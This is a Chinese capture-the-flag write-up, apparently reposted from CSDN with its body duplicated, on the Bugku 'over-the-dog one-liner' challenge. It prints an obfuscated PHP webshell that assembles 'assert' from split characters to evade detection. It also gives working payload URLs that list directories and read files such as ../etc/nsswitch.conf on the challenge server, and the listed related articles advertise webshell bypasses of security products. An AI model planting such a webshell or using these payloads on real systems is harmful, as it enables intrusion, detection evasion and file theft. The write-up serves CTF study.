题目描述:

题目描述:
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET['s']都会被解析成相应的函数,之后再执行
assert($_GET['s'])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 '  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval('echo 1;');
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET['s']都会被解析成相应的函数,之后再执行
assert($_GET['s'])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 '  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval('echo 1;');
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399

bugku 过狗一句话的更多相关文章

  1. Bugku-CTF之过狗一句话(送给大家一个过狗一句话)

    Day25 过狗一句话   http://123.206.87.240:8010/ 送给大家一个过狗一句话<?php $poc="a#s#s#e#r#t"; $poc_1=e ...

  2. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  3. Bugku web(1—35)

    1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

  4. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  5. 实战入侵(突破FCK+安全狗上传)

    PS:有点尴尬,二次上传突破FCK,免杀马儿过狗. 刚开始和超霸一起弄,TMDGB.弄到四点多,早上尼玛七点多的又去考试,虽然考试还是睡着了,但是TMDGB感觉日子好充实啊! FCK上传地址如下所示: ...

  6. BUGKUctf-web-writeup

    ---恢复内容开始--- 找到了个ctf平台.里面的web挺多的.终于将web题目写的差不多了. Web 签到题 加群就可以了 Web2 直接F12就看到了 文件上传测试 Burp抓包 文件名改成 1 ...

  7. 创造tips的秘籍——PHP回调后门

    作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话, ...

  8. 关于Safe DOG的文件上传bypass

    Author:倾旋payloads@aliyun.com本文由科拉实验室成员倾旋原创文章 Part 1 分析 此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么 ...

  9. php一句话后门过狗姿势万千之传输层加工【三】

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

随机推荐

  1. python&selenium自动化测试实战项目

    https://www.cnblogs.com/linuxchao/p/linuxchao-python-selenium-demo.html

  2. Django | Unable to get repr for <class 'django.db.models.query.QuerySet'>

    问题:在mysql中查询数据时,代码如下: skus = category.sku_set.filter(is_launched=True).order_by(sort_field) skus 取不到 ...

  3. protobuf-net简单使用

    第一个测试的proto文件 syntax = "proto3"; package ProtoMsg; message Foo { ; int32 id = ; repeated b ...

  4. 搭建Python开发环境(Mac)

    准备 Python官网: https://www.python.org/ Python官方文档: https://docs.python.org/ 环境搭建 简介 pipenv是Python官方推荐的 ...

  5. IntelliJ IDEA 2017.3尚硅谷-----取消更新

  6. OpenCV图像载入、显示和输出到文件以及滑块的使用

    图像载入 imread()函数 Mat imread(const string& filename, int flags = 1); 第一个参数为文件名 第二个参数为载入标识 flags &g ...

  7. ASP.NET + MVC5 入门完整教程三 (下) ---MVC 松耦合

    建立松耦合组件 MVC 模式最重要的特性之一视他支持关注分离,希望应用程序中的组件尽可能独立,只有很少的几个可控依赖项.在理想的情况下,每个组件都不了解其他组件,而只是通过抽象接口来处理应用程序的其他 ...

  8. 2.10 webdriver中 js 使用

    来源: 使用Webdriver执行JS小结  http://lijingshou.iteye.com/blog/2018929 selenium常用的js总结  http://www.cnblogs. ...

  9. FastDFS :java.lang.Exception: getStoreStorage fail, errno code: 28

    FastDFS 服务正常,突然报错:java.lang.Exception: getStoreStorage fail, errno code: 28 答:错误代码28表示 No space left ...

  10. 如何在Go中获得 "A1","B2" 类似字符+数字的字符串

    package main import ( "fmt" ) func main() { // 字符串 str := "ABCDEFGHIJKLMNOPQRSTUVWXYZ ...